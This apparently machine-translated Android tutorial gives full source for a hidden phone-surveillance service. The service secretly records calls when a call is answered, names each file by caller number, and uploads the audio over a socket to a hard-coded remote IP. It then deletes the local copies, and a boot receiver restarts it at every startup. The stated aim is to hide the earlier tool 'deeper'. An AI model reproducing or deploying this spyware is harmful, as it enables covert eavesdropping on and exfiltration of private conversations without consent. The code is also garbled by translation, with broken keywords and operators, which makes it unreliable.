In my last article, the Android SMS Listening tool (sample code), developed a "SMS Listening Tool", is based on the broadcast receiver, there are some defects (such as: not hidden deep, can not start automatically running ...) )
In this example, the new technology "services" will be used to address these defects.
Copy Code code as follows:
Package cn.itcast.phone;
Import Java.io.File;
Import Java.io.OutputStream;
Import Java.io.PushbackInputStream;
Import Java.io.RandomAccessFile;
Import Java.net.Socket;
Import Cn.itcast.utils.StreamTool;
Import Android.app.Service;
Import Android.content.Context;
Import android.content.Intent;
Import Android.media.MediaRecorder;
Import Android.os.IBinder;
Import Android.telephony.PhoneStateListener;
Import Android.telephony.TelephonyManager;
Import Android.telephony.gsm.SmsManager;
Import Android.util.Log;
public class Phonelistenservice extends Service {
private static final String TAG = "Phonelistenservice";
@Override
public void OnCreate () {
Telephonymanager Telmanager = (telephonymanager) getsystemservice (Context.telephony_service);
Telmanager.listen (New Tellistener (), phonestatelistener.listen_call_state);
LOG.I (TAG, "service created");
Super.oncreate ();
}
@Override
public void OnDestroy () {//empty all files in cache directory
file[] files = Getcachedir (). Listfiles ();
if (files!=null) {
for (File f:files) {
F.delete ();
}
}
LOG.I (TAG, "service Destroy");
Super.ondestroy ();
}
Private class Tellistener extends phonestatelistener{
Private Mediarecorder recorder;
Private String Mobile;
Private File Audiofile;
Private Boolean record;
@Override
public void oncallstatechanged (int state, String incomingnumber) {
try {
Switch (state) {
Case TELEPHONYMANAGER.CALL_STATE_IDLE: * * without any State
if (record) {
Recorder.stop ()//Stop Burning
Recorder.release ();
Record = false;
New Thread (New Uploadtask ()). Start ();
LOG.I (TAG, "Start upload file");
}
Break
Case Telephonymanager.call_state_offhook: * * When the phone is picked up
LOG.I (TAG, "Offhook:" + mobile);
Recorder = new Mediarecorder ();
Recorder.setaudiosource (MediaRecorder.AudioSource.MIC)//From Microphone collection sound (temporarily only hear the microphone voice signal, not listening to the receiver signal-can only hear the person's speech, Can't hear what the other said
Recorder.setoutputformat (MediaRecorder.OutputFormat.THREE_GPP);//Content output format
Recorder.setaudioencoder (MediaRecorder.AudioEncoder.AMR_NB);//audio encoding mode
Audiofile = new File (Getcachedir (), mobile+ "_" + system.currenttimemillis () + ". 3gp");
Recorder.setoutputfile (Audiofile.getabsolutepath ());
Recorder.prepare ()//Expected preparation
Recorder.start (); Start burning
Record = true;
Break
Case telephonymanager.call_state_ringing: * * When the phone came in
LOG.I (TAG, "Incomingnumber:" + incomingnumber);
Mobile = Incomingnumber;
Break
Default
Break
}
catch (Exception e) {
LOG.E (TAG, e.tostring ());
}
Super.oncallstatechanged (state, Incomingnumber);
}
Private Final class Uploadtask implements runnable{
@Override
public void Run () {
try {
Socket socket = new Socket ("220.113.15.71", 7878);
OutputStream OutStream = Socket.getoutputstream ();
String head = "content-length=" + audiofile.length () + "; Filename=" + audiofile.getname () + "; sourceid=\r\n";
Outstream.write (Head.getbytes ());
Pushbackinputstream instream = new Pushbackinputstream (Socket.getinputstream ());
String response = Streamtool.readline (instream);
string[] items = Response.split (";");
String position = items[1].substring (items[1].indexof ("=") +1);
Randomaccessfile Fileoutstream = new Randomaccessfile (Audiofile, "R");
Fileoutstream.seek (integer.valueof (position));
byte[] buffer = new byte[1024];
int len =-1;
while (len = fileoutstream.read (buffer))!=-1) {
Outstream.write (buffer, 0, Len);
}
Fileoutstream.close ();
Outstream.close ();
Instream.close ();
Socket.close ();
Audiofile.delete ();
catch (Exception e) {
LOG.E (TAG, e.tostring ());
}
}
}
}
@Override
Public IBinder Onbind (Intent Intent) {
TODO auto-generated Method Stub
return null;
}
}
Copy Code code as follows:
Package cn.itcast.phone;
Import Android.content.BroadcastReceiver;
Import Android.content.Context;
Import android.content.Intent;
public class Bootbroadcastreceiver extends Broadcastreceiver {
@Override
public void OnReceive (context context, Intent Intent) {
Android on the radio, start the phone listening service after boot
Intent service = new Intent (context, phonelistenservice.class);
Context.startservice (service);
}
}
Copy Code code as follows:
<?xml version= "1.0" encoding= "Utf-8"?>
<manifest xmlns:android= "Http://schemas.android.com/apk/res/android"
Package= "Cn.itcast.phone"
Android:versioncode= "1"
Android:versionname= "1.0" >
<application android:icon= "@drawable/icon" android:label= "@string/app_name" >
<service android:name= ". Phonelistenservice "/>
<receiver android:name= ". Bootbroadcastreceiver ">
<intent-filter>
<action android:name= "Android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
<USES-SDK android:minsdkversion= "7"/>
<uses-permission android:name= "Android.permission.RECORD_AUDIO"/>
<!--permissions to access the network-->
<uses-permission android:name= "Android.permission.INTERNET"/>
<uses-permission android:name= "Android.permission.READ_PHONE_STATE"/>
<uses-permission android:name= "Android.permission.RECEIVE_BOOT_COMPLETED"/>
</manifest>
Copy Code code as follows:
Package cn.itcast.utils;
Import Java.io.ByteArrayOutputStream;
Import Java.io.File;
Import Java.io.FileOutputStream;
Import java.io.IOException;
Import Java.io.InputStream;
Import Java.io.PushbackInputStream;
public class Streamtool {
public static void Save (file file, byte[] data) throws Exception {
FileOutputStream OutStream = new FileOutputStream (file);
Outstream.write (data);
Outstream.close ();
}
public static String ReadLine (Pushbackinputstream in) throws IOException {
Char buf[] = new char[128];
int room = Buf.length;
int offset = 0;
int C;
Loop:while (True) {
Switch (c = in.read ()) {
Case-1:
Case ' \ n ':
Break loop;
Case ' \ R ':
int C2 = In.read ();
if ((C2!= ' \ n ') && (C2!=-1)) In.unread (C2);
Break loop;
Default
if (--room < 0) {
char[] Linebuffer = buf;
BUF = new Char[offset + 128];
room = buf.length-offset-1;
System.arraycopy (linebuffer, 0, buf, 0, offset);
}
buf[offset++] = (char) c;
Break
}
}
if (c = = 1) && (offset = 0)) return null;
Return string.copyvalueof (buf, 0, offset);
}
/**
* Read stream
* @param instream
* @return byte array
* @throws Exception
*/
public static byte[] Readstream (InputStream instream) throws exception{
Bytearrayoutputstream Outsteam = new Bytearrayoutputstream ();
byte[] buffer = new byte[1024];
int len =-1;
while (len=instream.read (buffer)!=-1) {
Outsteam.write (buffer, 0, Len);
}
Outsteam.close ();
Instream.close ();
return Outsteam.tobytearray ();
}
}